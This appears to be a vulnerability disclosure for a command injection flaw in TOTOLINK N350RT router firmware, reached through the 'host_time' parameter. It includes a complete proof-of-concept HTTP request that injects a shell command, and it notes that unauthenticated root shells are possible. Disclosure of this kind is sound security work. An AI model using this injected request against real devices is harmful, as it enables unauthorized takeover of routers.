- Manufacturer's website information：https://www.totolink.net/
- Firmware download address ： https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/206/ids/36.html
TOTOLink N350RT V9.3.5u.6139_B20201216 router, the latest version of simulation overview：
TOTOLINK N350RT (V9.3.5u.6139_B20201216) was found to contain a command insertion vulnerability in NTPSyncWithHost.This vulnerability allows an attacker to execute arbitrary commands through the "host_time" parameter.
Var passes directly into the dosystem function.
The dosystem function is finally found to be implemented in this file by string matching.
Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.
In order to reproduce the vulnerability, the following steps can be followed:
- Boot the firmware by qemu-system or other ways (real machine)
- Attack with the following POC attacks
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 52
Origin: http://192.168.0.1
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache
{"host_time":"2022-07-21 20:12:43';ps;'","topicurl":"NTPSyncWithHost"}
The above figure shows the POC attack effect
Finally, you can write exp to get a stable root shell without authorization.